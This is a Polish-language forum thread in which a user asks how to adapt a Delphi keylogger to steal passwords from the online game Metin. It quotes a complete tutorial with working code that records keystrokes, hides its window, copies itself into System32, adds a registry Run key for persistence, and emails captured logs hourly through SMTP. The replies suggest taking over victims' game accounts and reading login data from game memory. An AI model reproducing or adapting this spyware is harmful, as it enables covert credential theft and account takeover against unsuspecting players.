[Delphi]Pytanie Dotyczace Keylogera

[pacio321]

Witam mam pytanie dotyczące keyloger pod keyspyxp
1.Czy działa on pod viste?
2.Czy da sie aby keyloger wyczytywał tylko pasy np z gry jak mam adresy pamienci?
3.Jak zrobić aby np w grze metin na email dostraczało który ma level jakie eq itp

Z góry dzięki za pomoc

Oto ten keyloger napisany przez Bezela
<div class='codetop'>CODE</div><div class='codemain' style='height:200px;white-spacere;overflow:auto'>Witam.
Chciałbym opisać pisanie keyloggera w delphi. Mam nadzieję, że się przyda, mimo iż nie będzie on super-hiper dobry,
ponieważ to tutorial, przykład...
Oparty on będzie na Keyspyxp - komponencie przeznaczonym do przechwytywania wciśniętych klawiszy.
Potrzebne komponenty:

CYTAT
Memo
keyspyxp
idmessage
idsmtp
timer.


Czyli, postaw na początek, na formę Keyspyxp.
Wpisz pomiędzy begin, a end:
KOD
memo1.text := memo1.text + key;
memo1.text:=Stringreplace(memo1.Text,'{ENTER}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RightMouseButton}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LeftMouseButton}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{DELETE}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{Alt}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{shift}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{ctrl}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{TAB}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT SHIFT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{UP}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{DOWN}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F1}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F2}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F3}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F4}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F5}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F6}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F7}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F8}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F9}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F10}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F11}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F12}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT CONTROL}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT ALT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{BACKSPACE}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT CONTROL}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT ALT}','',[rfreplaceall]);


Rejestr:
Wpisz pod:

KOD
implementation

{$R *.dfm}


Ten kawałek kodu:

KOD
procedure Tform1.Rejestr;
var
Rejestr:TRegistry;
begin
copyfile(pchar(paramstr(0)),pchar('C:\WINDOWS\System32\keylogger.exe'),true)
Rejestr:=TRegistry.Create;
Rejestr.RootKey:=(HKEY_CURRENT_USER);
Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',False);
Rejestr.WriteString('keylogger', 'C:\WINDOWS\System32\keylogger.exe');
Rejestr.Free;
end;


A nad private:

procedure Rejestr;

Wygeneruj zdarzenie OnCreate formy i wpisz:

KOD
Application.showmainform:=false;


Teraz wysyłanie klawiszy:

Postaw na formę timer:
I wpisz:
KOD
IdMessage1.Body.Append(memo1.text);
IdMessage1.Recipients.EMailAddresses := 'Odbiorca';
IdMessage1.Subject := 'Log';
IdMessage1.From.name := 'Keylogger';
IdMessage1.From.Address :='email serwera...';
idSMTP1.Password := 'haslo serwera';
idSMTP1.Username := 'login serwera';
idSMTP1.Host := 'host';
idSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
idmessage1.body.Clear;
memo1.lines.Clear;


Interval ustaw na 3600000 - czyli logi beda wysylane co 1 h...

I oto cała filozofia wink.gif
Mimo to masz problem...? Pisz w temacie, pomoge.
Pozdrawiam, Bezel21.
</div>

 

[The]

Czy działa on pod viste?[/b]

1. Działa

Czy da sie aby keyloger wyczytywał tylko pasy np z gry[/b]

2. Można

3.Jak zrobić aby np w grze metin na email dostraczało który ma level jakie eq itp[/b]

3. Tego to się raczej z poziomu keylogger'a nie da, chyba, ze uzyskasz login i hasło, logujesz się i wszystko wiesz

Pozdrawiam

 

[Dark Smark]

Lepiej w WinApi, oczywiście możesz wykorzystać w Delphi.
Sprawdzanie uchwytu okna (czy gra uruchomiona):
http://msdn.microsoft.com/en-us/library/ms633499.aspx
Czytanie poziomu, hasła, loginu, wszystkich danych z gry z pamięci:
http://msdn.microsoft.com/en-us/library/ms680553(VS.85).aspx
I tyle.

 

[pacio321]

Dzięki za odpowiedz co do postu dark'a masz duża racje wszystko ładnie wychodzi jeszcze raz dzięki